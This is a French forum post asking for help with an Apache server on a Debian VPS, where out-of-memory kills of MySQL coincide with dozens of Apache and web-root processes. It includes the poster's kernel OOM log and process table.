Derniers messages sur Zeste de Savoirhttps://zestedesavoir.com/forums/2024-03-20T09:35:00+01:00Les derniers messages parus sur le forum de Zeste de Savoir.Apache : trop de process et crash du serveur, message #2543472024-03-20T09:35:00+01:00elyppire/@elyppirehttps://zestedesavoir.com/forums/sujet/17375/apache-trop-de-process-et-crash-du-serveur/?page=1#p254347<p>Hello les agrumes !</p>
<p>Je viens ici pour un problème probablement très simple à résoudre mais sur lequel je bloque depuis plusieurs semaines. J’espère être suffisamment précis, sinon je peux donner plus d’informations.</p>
<p>J’ai un vps chez OVH qui tourne sous Debian 10 ( <img src="/static/smileys/svg/siffle.svg" alt=":-°" class="smiley"> ). Il sert de serveur web (Apache + MySQL). Le trafic sur ce serveur reste relativement limité, et niveau ressources c’est un processeur 4 vCores pour 8 Go de mémoire vive.</p>
<p>Pendant des années (2021+), tout fonctionnait normalement, mais depuis quelques temps, sans modification connue apportée sur le serveur, la base MySQL s’arrête sans crier gare (~10 fois par jour). En regardant les logs, j’ai remarqué trois choses :</p>
<ul>
<li>l’oom-killer est appelé pour manque de mémoire</li>
<li>il kill le process le plus gros de manière unitaire, MySQL</li>
<li>mais j’ai plein de process apache (90) qui mis bout à bout consomme la quasi totalité de la mémoire</li>
</ul>
<p>J’ai donc du rater un problème de configuration dans Apache, mais je n’arrive pas à trouver quoi. Je suis donc preneur de vos avis ! Merci <img src="/static/smileys/svg/smile.svg" alt=":)" class="smiley"> </p>
<p>Ci joint la partie du log intéressante (que je n’arrive pas à mettre dans un bloc secret… si un modo passe par là !).</p>
<div class="hljs-code-div hljs-code-text"><div class="hljs-line-numbers"><span data-count="1"></span><span data-count="2"></span><span data-count="3"></span><span data-count="4"></span><span data-count="5"></span><span data-count="6"></span><span data-count="7"></span><span data-count="8"></span><span data-count="9"></span><span data-count="10"></span><span data-count="11"></span><span data-count="12"></span><span data-count="13"></span><span data-count="14"></span><span data-count="15"></span><span data-count="16"></span><span data-count="17"></span><span data-count="18"></span><span data-count="19"></span><span data-count="20"></span><span data-count="21"></span><span data-count="22"></span><span data-count="23"></span><span data-count="24"></span><span data-count="25"></span><span data-count="26"></span><span data-count="27"></span><span data-count="28"></span><span data-count="29"></span><span data-count="30"></span><span data-count="31"></span><span data-count="32"></span><span data-count="33"></span><span data-count="34"></span><span data-count="35"></span><span data-count="36"></span><span data-count="37"></span><span data-count="38"></span><span data-count="39"></span><span data-count="40"></span><span data-count="41"></span><span data-count="42"></span><span data-count="43"></span><span data-count="44"></span><span data-count="45"></span><span data-count="46"></span><span data-count="47"></span><span data-count="48"></span><span data-count="49"></span><span data-count="50"></span><span data-count="51"></span><span data-count="52"></span><span data-count="53"></span><span data-count="54"></span><span data-count="55"></span><span data-count="56"></span><span data-count="57"></span><span data-count="58"></span><span data-count="59"></span><span data-count="60"></span><span data-count="61"></span><span data-count="62"></span><span data-count="63"></span><span data-count="64"></span><span data-count="65"></span><span data-count="66"></span><span data-count="67"></span><span data-count="68"></span><span data-count="69"></span><span data-count="70"></span><span data-count="71"></span><span data-count="72"></span><span data-count="73"></span><span data-count="74"></span><span data-count="75"></span><span data-count="76"></span><span data-count="77"></span><span data-count="78"></span><span data-count="79"></span><span data-count="80"></span><span data-count="81"></span><span data-count="82"></span><span data-count="83"></span><span data-count="84"></span><span data-count="85"></span><span data-count="86"></span><span data-count="87"></span><span data-count="88"></span><span data-count="89"></span><span data-count="90"></span><span data-count="91"></span><span data-count="92"></span><span data-count="93"></span><span data-count="94"></span><span data-count="95"></span><span data-count="96"></span><span data-count="97"></span><span data-count="98"></span><span data-count="99"></span><span data-count="100"></span><span data-count="101"></span><span data-count="102"></span><span data-count="103"></span><span data-count="104"></span><span data-count="105"></span><span data-count="106"></span><span data-count="107"></span><span data-count="108"></span><span data-count="109"></span><span data-count="110"></span><span data-count="111"></span><span data-count="112"></span><span data-count="113"></span><span data-count="114"></span><span data-count="115"></span><span data-count="116"></span><span data-count="117"></span><span data-count="118"></span><span data-count="119"></span><span data-count="120"></span><span data-count="121"></span><span data-count="122"></span><span data-count="123"></span><span data-count="124"></span><span data-count="125"></span><span data-count="126"></span><span data-count="127"></span><span data-count="128"></span><span data-count="129"></span><span data-count="130"></span><span data-count="131"></span><span data-count="132"></span><span data-count="133"></span><span data-count="134"></span><span data-count="135"></span><span data-count="136"></span><span data-count="137"></span><span data-count="138"></span><span data-count="139"></span><span data-count="140"></span><span data-count="141"></span><span data-count="142"></span><span data-count="143"></span><span data-count="144"></span><span data-count="145"></span><span data-count="146"></span><span data-count="147"></span><span data-count="148"></span><span data-count="149"></span><span data-count="150"></span><span data-count="151"></span><span data-count="152"></span><span data-count="153"></span><span data-count="154"></span><span data-count="155"></span><span data-count="156"></span><span data-count="157"></span><span data-count="158"></span><span data-count="159"></span><span data-count="160"></span><span data-count="161"></span><span data-count="162"></span><span data-count="163"></span><span data-count="164"></span><span data-count="165"></span><span data-count="166"></span><span data-count="167"></span><span data-count="168"></span><span data-count="169"></span><span data-count="170"></span><span data-count="171"></span><span data-count="172"></span><span data-count="173"></span><span data-count="174"></span><span data-count="175"></span><span data-count="176"></span><span data-count="177"></span><span data-count="178"></span><span data-count="179"></span><span data-count="180"></span><span data-count="181"></span><span data-count="182"></span><span data-count="183"></span><span data-count="184"></span><span data-count="185"></span><span data-count="186"></span><span data-count="187"></span><span data-count="188"></span><span data-count="189"></span><span data-count="190"></span><span data-count="191"></span><span data-count="192"></span><span data-count="193"></span><span data-count="194"></span><span data-count="195"></span><span data-count="196"></span><span data-count="197"></span><span data-count="198"></span><span data-count="199"></span><span data-count="200"></span><span data-count="201"></span><span data-count="202"></span><span data-count="203"></span><span data-count="204"></span><span data-count="205"></span><span data-count="206"></span><span data-count="207"></span><span data-count="208"></span><span data-count="209"></span><span data-count="210"></span><span data-count="211"></span><span data-count="212"></span><span data-count="213"></span><span data-count="214"></span><span data-count="215"></span><span data-count="216"></span><span data-count="217"></span><span data-count="218"></span><span data-count="219"></span><span data-count="220"></span><span data-count="221"></span><span data-count="222"></span><span data-count="223"></span><span data-count="224"></span><span data-count="225"></span><span data-count="226"></span><span data-count="227"></span><span data-count="228"></span><span data-count="229"></span><span data-count="230"></span><span data-count="231"></span><span data-count="232"></span><span data-count="233"></span><span data-count="234"></span><span data-count="235"></span><span data-count="236"></span><span data-count="237"></span><span data-count="238"></span><span data-count="239"></span><span data-count="240"></span><span data-count="241"></span><span data-count="242"></span><span data-count="243"></span><span data-count="244"></span><span data-count="245"></span><span data-count="246"></span><span data-count="247"></span><span data-count="248"></span></div><pre><code class="hljs language-text">Mar 8 12:47:40 vps-xxx kernel: [85382037.496840] apache2 invoked oom-killer: gfp_mask=0x6200ca(GFP_HIGHUSER_MOVABLE), nodemask=(null), order=0, oom_score_adj=0
Mar 8 12:47:40 vps-xxx kernel: [85382037.504601] apache2 cpuset=/ mems_allowed=0
Mar 8 12:47:40 vps-xxx kernel: [85382037.506568] CPU: 3 PID: 8838 Comm: apache2 Not tainted 4.19.0-16-cloud-amd64 #1 Debian 4.19.181-1
Mar 8 12:47:40 vps-xxx kernel: [85382037.509328] Hardware name: OpenStack Foundation OpenStack Nova, BIOS 2:1.10.2-58953eb7 04/01/2014
Mar 8 12:47:40 vps-xxx kernel: [85382037.511561] Call Trace:
Mar 8 12:47:40 vps-xxx kernel: [85382037.512287] dump_stack+0x66/0x81
Mar 8 12:47:40 vps-xxx kernel: [85382037.513363] dump_header+0x6b/0x283
Mar 8 12:47:40 vps-xxx kernel: [85382037.514646] oom_kill_process.cold.30+0xb/0x1cf
Mar 8 12:47:40 vps-xxx kernel: [85382037.515785] ? oom_badness+0x23/0x140
Mar 8 12:47:40 vps-xxx kernel: [85382037.516733] out_of_memory+0x1a5/0x450
Mar 8 12:47:40 vps-xxx kernel: [85382037.517707] __alloc_pages_slowpath+0xbd8/0xcb0
Mar 8 12:47:40 vps-xxx kernel: [85382037.518883] __alloc_pages_nodemask+0x28b/0x2b0
Mar 8 12:47:40 vps-xxx kernel: [85382037.520001] filemap_fault+0x333/0x780
Mar 8 12:47:40 vps-xxx kernel: [85382037.520998] ? filemap_map_pages+0x131/0x3a0
Mar 8 12:47:40 vps-xxx kernel: [85382037.522094] ext4_filemap_fault+0x2c/0x40 [ext4]
Mar 8 12:47:40 vps-xxx kernel: [85382037.523273] __do_fault+0x34/0x90
Mar 8 12:47:40 vps-xxx kernel: [85382037.524174] __handle_mm_fault+0xdf9/0x11f0
Mar 8 12:47:40 vps-xxx kernel: [85382037.525238] ? reschedule_interrupt+0xa/0x20
Mar 8 12:47:40 vps-xxx kernel: [85382037.526347] handle_mm_fault+0xd6/0x200
Mar 8 12:47:40 vps-xxx kernel: [85382037.527364] __do_page_fault+0x249/0x4f0
Mar 8 12:47:40 vps-xxx kernel: [85382037.528364] ? async_page_fault+0x8/0x30
Mar 8 12:47:40 vps-xxx kernel: [85382037.529367] async_page_fault+0x1e/0x30
Mar 8 12:47:40 vps-xxx kernel: [85382037.530360] RIP: 0033:0x7f10f4323c4d
Mar 8 12:47:40 vps-xxx kernel: [85382037.531301] Code: Bad RIP value.
Mar 8 12:47:40 vps-xxx kernel: [85382037.532180] RSP: 002b:00007ffe8374fa68 EFLAGS: 00010206
Mar 8 12:47:40 vps-xxx kernel: [85382037.533475] RAX: 0000000000000000 RBX: 00007f10f3eeb280 RCX: 000000000000000c
Mar 8 12:47:40 vps-xxx kernel: [85382037.535956] RDX: 000000000000ffff RSI: 00007f10f3edc0f0 RDI: 00007f10f1bd52e0
Mar 8 12:47:40 vps-xxx kernel: [85382037.538826] RBP: 00007f10f3eed040 R08: 0000000000000000 R09: 0000000000000003
Mar 8 12:47:40 vps-xxx kernel: [85382037.540613] R10: 00007f10f4356220 R11: 0000000000000246 R12: 00007f10f1bd52e0
Mar 8 12:47:40 vps-xxx kernel: [85382037.542346] R13: 00007ffe8374fab8 R14: 00007f10f1bb8028 R15: 00007f10f1bd52e0
Mar 8 12:47:40 vps-xxx kernel: [85382037.544122] Mem-Info:
Mar 8 12:47:40 vps-xxx kernel: [85382037.544825] active_anon:1890883 inactive_anon:11184 isolated_anon:0
Mar 8 12:47:40 vps-xxx kernel: [85382037.544825] active_file:140 inactive_file:32 isolated_file:0
Mar 8 12:47:40 vps-xxx kernel: [85382037.544825] unevictable:133 dirty:0 writeback:0 unstable:0
Mar 8 12:47:40 vps-xxx kernel: [85382037.544825] slab_reclaimable:11251 slab_unreclaimable:34625
Mar 8 12:47:40 vps-xxx kernel: [85382037.544825] mapped:4100 shmem:23842 pagetables:7429 bounce:0
Mar 8 12:47:40 vps-xxx kernel: [85382037.544825] free:25348 free_pcp:1203 free_cma:0
Mar 8 12:47:40 vps-xxx kernel: [85382037.552343] Node 0 active_anon:7563532kB inactive_anon:44736kB active_file:456kB inactive_file:184kB unevictable:532kB isolated(anon):0kB isolated(file):0kB mapped:16376kB dirty:0kB writeback:0kB shmem:95368kB shmem_thp: 0kB shmem_pmdmapped: 0kB anon_thp: 2971648kB writeback_tmp:0kB unstable:0kB all_unreclaimable? yes
Mar 8 12:47:40 vps-xxx kernel: [85382037.558993] Node 0 DMA free:15908kB min:132kB low:164kB high:196kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB writepending:0kB present:15992kB managed:15908kB mlocked:0kB kernel_stack:0kB pagetables:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB
Mar 8 12:47:40 vps-xxx kernel: [85382037.564543] lowmem_reserve[]: 0 2957 7758 7758 7758
Mar 8 12:47:40 vps-xxx kernel: [85382037.565736] Node 0 DMA32 free:44204kB min:25712kB low:32140kB high:38568kB active_anon:2968232kB inactive_anon:68kB active_file:0kB inactive_file:228kB unevictable:28kB writepending:0kB present:3129200kB managed:3045920kB mlocked:28kB kernel_stack:560kB pagetables:3804kB bounce:0kB free_pcp:2012kB local_pcp:168kB free_cma:0kB
Mar 8 12:47:40 vps-xxx kernel: [85382037.571911] lowmem_reserve[]: 0 0 4800 4800 4800
Mar 8 12:47:40 vps-xxx kernel: [85382037.573062] Node 0 Normal free:41280kB min:41732kB low:52164kB high:62596kB active_anon:4595300kB inactive_anon:44668kB active_file:940kB inactive_file:536kB unevictable:504kB writepending:0kB present:5046272kB managed:4916020kB mlocked:504kB kernel_stack:4272kB pagetables:25912kB bounce:0kB free_pcp:2828kB local_pcp:240kB free_cma:0kB
Mar 8 12:47:40 vps-xxx kernel: [85382037.579508] lowmem_reserve[]: 0 0 0 0 0
Mar 8 12:47:40 vps-xxx kernel: [85382037.580534] Node 0 DMA: 1*4kB (U) 0*8kB 0*16kB 1*32kB (U) 2*64kB (U) 1*128kB (U) 1*256kB (U) 0*512kB 1*1024kB (U) 1*2048kB (M) 3*4096kB (M) = 15908kB
Mar 8 12:47:40 vps-xxx kernel: [85382037.583585] Node 0 DMA32: 93*4kB (UME) 121*8kB (UE) 227*16kB (UE) 125*32kB (UME) 97*64kB (UME) 36*128kB (UME) 15*256kB (UME) 10*512kB (ME) 13*1024kB (UME) 1*2048kB (M) 0*4096kB = 44108kB
Mar 8 12:47:40 vps-xxx kernel: [85382037.587257] Node 0 Normal: 376*4kB (UMEH) 1150*8kB (UMEH) 683*16kB (UMEH) 200*32kB (UEH) 53*64kB (UE) 7*128kB (UME) 21*256kB (ME) 7*512kB (ME) 0*1024kB 0*2048kB 0*4096kB = 41280kB
Mar 8 12:47:40 vps-xxx kernel: [85382037.590960] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
Mar 8 12:47:40 vps-xxx kernel: [85382037.593046] 24056 total pagecache pages
Mar 8 12:47:40 vps-xxx kernel: [85382037.594072] 0 pages in swap cache
Mar 8 12:47:40 vps-xxx kernel: [85382037.594982] Swap cache stats: add 0, delete 0, find 0/0
Mar 8 12:47:40 vps-xxx kernel: [85382037.596258] Free swap = 0kB
Mar 8 12:47:40 vps-xxx kernel: [85382037.597157] Total swap = 0kB
Mar 8 12:47:40 vps-xxx kernel: [85382037.598025] 2047866 pages RAM
Mar 8 12:47:40 vps-xxx kernel: [85382037.598885] 0 pages HighMem/MovableOnly
Mar 8 12:47:40 vps-xxx kernel: [85382037.599916] 53404 pages reserved
Mar 8 12:47:40 vps-xxx kernel: [85382037.600826] Tasks state (memory values in pages):
Mar 8 12:47:40 vps-xxx kernel: [85382037.602021] [ pid ] uid tgid total_vm rss pgtables_bytes swapents oom_score_adj name
Mar 8 12:47:40 vps-xxx kernel: [85382037.604060] [ 261] 0 261 20740 9456 180224 0 0 systemd-journal
Mar 8 12:47:40 vps-xxx kernel: [85382037.606169] [ 290] 0 290 5052 266 61440 0 -1000 systemd-udevd
Mar 8 12:47:40 vps-xxx kernel: [85382037.608266] [ 408] 0 408 2402 351 57344 0 0 dhclient
Mar 8 12:47:40 vps-xxx kernel: [85382037.610239] [ 493] 0 493 2402 350 57344 0 0 dhclient
Mar 8 12:47:40 vps-xxx kernel: [85382037.612207] [ 685] 105 685 629 49 40960 0 0 nscd
Mar 8 12:47:40 vps-xxx kernel: [85382037.614105] [ 686] 0 686 4877 276 81920 0 0 systemd-logind
Mar 8 12:47:40 vps-xxx kernel: [85382037.616232] [ 687] 104 687 2183 157 53248 0 -900 dbus-daemon
Mar 8 12:47:40 vps-xxx kernel: [85382037.618261] [ 689] 0 689 56455 529 81920 0 0 rsyslogd
Mar 8 12:47:40 vps-xxx kernel: [85382037.620242] [ 691] 0 691 1608 56 45056 0 0 qemu-ga
Mar 8 12:47:40 vps-xxx kernel: [85382037.622236] [ 694] 0 694 2089 66 57344 0 0 cron
Mar 8 12:47:40 vps-xxx kernel: [85382037.624204] [ 706] 106 706 19148 159 69632 0 0 ntpd
Mar 8 12:47:40 vps-xxx kernel: [85382037.626123] [ 722] 0 722 641 16 40960 0 0 agetty
Mar 8 12:47:40 vps-xxx kernel: [85382037.628419] [ 723] 0 723 1316 17 49152 0 0 agetty
Mar 8 12:47:40 vps-xxx kernel: [85382037.630377] [ 22444] 0 22444 3942 213 77824 0 -1000 sshd
Mar 8 12:47:40 vps-xxx kernel: [85382037.632361] [ 2508] 1000 2508 5257 281 77824 0 0 systemd
Mar 8 12:47:40 vps-xxx kernel: [85382037.634700] [ 2510] 1000 2510 42880 654 102400 0 0 (sd-pam)
Mar 8 12:47:40 vps-xxx kernel: [85382037.637562] [ 4186] 0 4186 20232 78 57344 0 0 gpg-agent
Mar 8 12:47:40 vps-xxx kernel: [85382037.640508] [ 21748] 0 21748 51688 3295 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.643392] [ 23078] 33 23078 36526 30606 323584 0 0 /var/www/html/b
Mar 8 12:47:40 vps-xxx kernel: [85382037.646367] [ 23508] 33 23508 24968 20061 249856 0 0 /var/www/html/c
Mar 8 12:47:40 vps-xxx kernel: [85382037.648562] [ 23509] 33 23509 27023 21141 253952 0 0 /var/www/html/p
Mar 8 12:47:40 vps-xxx kernel: [85382037.650641] [ 26777] 33 26777 23713 21241 225280 0 0 /var/www/html/l
Mar 8 12:47:40 vps-xxx kernel: [85382037.666398] [ 1082] 33 1082 34004 28033 311296 0 0 /var/www/html/e
Mar 8 12:47:40 vps-xxx kernel: [85382037.668541] [ 1594] 33 1594 41792 39353 368640 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.670624] [ 1652] 33 1652 44411 41685 405504 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.672739] [ 1653] 33 1653 41893 39280 380928 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.674836] [ 1654] 33 1654 48253 45802 425984 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.677113] [ 1893] 33 1893 35820 33259 323584 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.679237] [ 1894] 33 1894 47140 44403 430080 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.681331] [ 1985] 33 1985 51778 3039 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.683437] [ 2045] 33 2045 23662 21234 229376 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.685703] [ 2046] 33 2046 23648 21169 225280 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.687816] [ 2047] 33 2047 23651 21235 233472 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.689895] [ 2048] 33 2048 22343 19965 208896 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.692032] [ 29970] 0 29970 6064 579 94208 0 0 proftpd
Mar 8 12:47:40 vps-xxx kernel: [85382037.694004] [ 24722] 33 24722 34885 32423 323584 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.696113] [ 24727] 33 24727 26463 24010 249856 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.698199] [ 24728] 33 24728 30587 27905 290816 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.700317] [ 24729] 33 24729 29252 26438 286720 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.702414] [ 24732] 33 24732 26305 23878 253952 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.704516] [ 24733] 33 24733 25826 23344 241664 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.706706] [ 24739] 33 24739 29500 26879 282624 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.708870] [ 24745] 33 24745 51819 3136 151552 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.710832] [ 24746] 33 24746 30507 27856 290816 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.712956] [ 24785] 33 24785 23909 21436 229376 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.715069] [ 24786] 33 24786 23857 21370 237568 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.717220] [ 24787] 33 24787 23644 21239 225280 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.719327] [ 24788] 33 24788 22361 19994 217088 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.721419] [ 5343] 0 5343 4158 270 69632 0 0 sshd
Mar 8 12:47:40 vps-xxx kernel: [85382037.723327] [ 5351] 1000 5351 4158 270 69632 0 0 sshd
Mar 8 12:47:40 vps-xxx kernel: [85382037.725250] [ 5352] 1000 5352 593 17 45056 0 0 sftp-server
Mar 8 12:47:40 vps-xxx kernel: [85382037.727286] [ 8309] 33 8309 15041 1698 114688 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.729244] [ 8315] 33 8315 42496 39804 385024 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.731335] [ 8383] 33 8383 30075 27350 286720 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.733428] [ 8384] 33 8384 42943 40501 389120 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.735519] [ 8386] 33 8386 29997 27211 278528 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.737673] [ 8411] 33 8411 41659 38830 380928 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.739769] [ 8413] 33 8413 45552 42856 409600 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.741878] [ 8415] 33 8415 44591 41804 409600 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.743970] [ 8417] 33 8417 29400 26663 282624 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.746056] [ 8419] 33 8419 39097 36304 360448 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.748159] [ 8422] 33 8422 42757 39966 389120 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.750241] [ 8424] 33 8424 33984 31280 319488 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.752339] [ 8427] 33 8427 31561 28812 294912 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.754411] [ 8430] 33 8430 30536 27906 294912 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.756517] [ 8435] 33 8435 36799 33963 344064 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.758594] [ 8436] 33 8436 37076 34388 348160 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.760698] [ 8445] 33 8445 29746 26948 282624 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.762781] [ 8446] 33 8446 44838 42057 409600 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.764878] [ 8495] 33 8495 21867 16777 217088 0 0 /var/www/html/p
Mar 8 12:47:40 vps-xxx kernel: [85382037.766957] [ 8508] 33 8508 36187 30190 323584 0 0 /var/www/html/b
Mar 8 12:47:40 vps-xxx kernel: [85382037.769038] [ 8511] 33 8511 24949 20089 245760 0 0 /var/www/html/c
Mar 8 12:47:40 vps-xxx kernel: [85382037.771132] [ 8515] 33 8515 34485 28530 315392 0 0 /var/www/html/e
Mar 8 12:47:40 vps-xxx kernel: [85382037.773208] [ 8520] 33 8520 27018 21132 253952 0 0 /var/www/html/p
Mar 8 12:47:40 vps-xxx kernel: [85382037.775305] [ 8550] 0 8550 4158 269 73728 0 0 sshd
Mar 8 12:47:40 vps-xxx kernel: [85382037.777199] [ 8558] 1000 8558 4158 269 73728 0 0 sshd
Mar 8 12:47:40 vps-xxx kernel: [85382037.779144] [ 8559] 1000 8559 593 16 40960 0 0 sftp-server
Mar 8 12:47:40 vps-xxx kernel: [85382037.781154] [ 8613] 0 8613 4158 271 73728 0 0 sshd
Mar 8 12:47:40 vps-xxx kernel: [85382037.783062] [ 8619] 1000 8619 4158 271 73728 0 0 sshd
Mar 8 12:47:40 vps-xxx kernel: [85382037.784955] [ 8621] 1000 8621 593 16 40960 0 0 sftp-server
Mar 8 12:47:40 vps-xxx kernel: [85382037.786984] [ 8703] 33 8703 36124 30113 327680 0 0 /var/www/html/b
Mar 8 12:47:40 vps-xxx kernel: [85382037.789058] [ 8743] 33 8743 23716 21285 233472 0 0 /var/www/html/l
Mar 8 12:47:40 vps-xxx kernel: [85382037.791164] [ 8818] 33 8818 31358 28654 303104 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.793280] [ 8819] 33 8819 34816 32044 323584 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.795376] [ 8820] 33 8820 29358 26658 278528 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.797486] [ 8838] 33 8838 51954 3194 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.799452] [ 8867] 0 8867 4158 269 69632 0 0 sshd
Mar 8 12:47:40 vps-xxx kernel: [85382037.801371] [ 8873] 1000 8873 4158 274 69632 0 0 sshd
Mar 8 12:47:40 vps-xxx kernel: [85382037.803273] [ 8875] 1000 8875 1909 323 57344 0 0 bash
Mar 8 12:47:40 vps-xxx kernel: [85382037.805168] [ 8894] 1000 8894 2390 96 57344 0 0 su
Mar 8 12:47:40 vps-xxx kernel: [85382037.807044] [ 8896] 0 8896 1940 354 53248 0 0 bash
Mar 8 12:47:40 vps-xxx kernel: [85382037.808935] [ 8952] 33 8952 51890 2656 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.810893] [ 8960] 33 8960 52693 3262 163840 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.812853] [ 9216] 33 9216 52711 2656 147456 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.814817] [ 9227] 33 9227 51949 3222 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.816766] [ 9232] 33 9232 51945 3242 159744 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.818731] [ 9248] 33 9248 51954 3284 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.820684] [ 9255] 33 9255 52403 2517 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.822643] [ 9262] 33 9262 51882 2501 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.824604] [ 9281] 33 9281 51986 3272 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.826557] [ 9289] 33 9289 51948 3240 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.828516] [ 9290] 33 9290 52705 2622 151552 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.830462] [ 9305] 33 9305 51837 2590 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.832485] [ 9307] 33 9307 51817 2605 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.834439] [ 9310] 33 9310 51904 3181 159744 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.836432] [ 9311] 33 9311 51986 3233 159744 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.838379] [ 9323] 33 9323 51965 3228 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.840335] [ 9325] 33 9325 51971 3200 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.842282] [ 9333] 33 9333 34599 28693 315392 0 0 /var/www/html/e
Mar 8 12:47:40 vps-xxx kernel: [85382037.844392] [ 9338] 33 9338 51986 3230 159744 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.846338] [ 9340] 33 9340 51964 3234 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.848319] [ 9345] 33 9345 51903 3186 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.863575] [ 9347] 33 9347 51754 2498 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.865526] [ 9349] 33 9349 51813 2524 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.867490] [ 9350] 33 9350 51813 2558 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.869435] [ 9351] 33 9351 51818 2523 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.871429] [ 9353] 33 9353 51734 2511 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.873384] [ 9355] 33 9355 51832 2623 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.875343] [ 9357] 33 9357 51868 2653 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.877371] [ 9358] 33 9358 51806 2550 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.879470] [ 9360] 33 9360 25033 22536 245760 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.881568] [ 9361] 33 9361 23644 21149 233472 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.883699] [ 9365] 33 9365 51880 2625 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.885645] [ 9367] 33 9367 51906 3163 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.887635] [ 9368] 33 9368 51953 3191 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.889578] [ 9375] 33 9375 51927 3178 155648 0 0 apache2
